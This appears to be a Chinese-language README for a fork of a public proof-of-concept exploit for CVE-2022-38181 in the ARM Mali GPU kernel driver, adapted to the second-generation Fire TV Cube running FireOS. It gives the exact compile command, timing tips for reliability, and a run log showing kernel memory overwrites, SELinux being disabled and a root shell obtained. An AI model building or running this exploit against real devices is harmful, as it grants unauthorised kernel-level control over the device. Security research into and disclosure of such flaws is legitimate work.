这是安全研究员 Man Yue Mo 的 Pixel 6 POC 针对 CVE_2022_38181 的一个分支。请在此阅读他对该漏洞的详细分析文章 (英文)。已对代码进行修改以适应 FireOS 的 32 位用户空间,以及第二代 Cube 较旧的 Bifrost 驱动 (r16p0) 和 Linux 内核 (4.9.113) 版本。该 POC 利用 ARM Mali 内核驱动中的一个漏洞来获得任意内核代码执行,进而禁用 SELinux 并获取 root 权限。
我使用以下命令通过 ndk-21 中的 clang 进行编译:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
建议在 Cube 启动后 30-90 秒运行该利用程序,以获得最高可靠性。
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #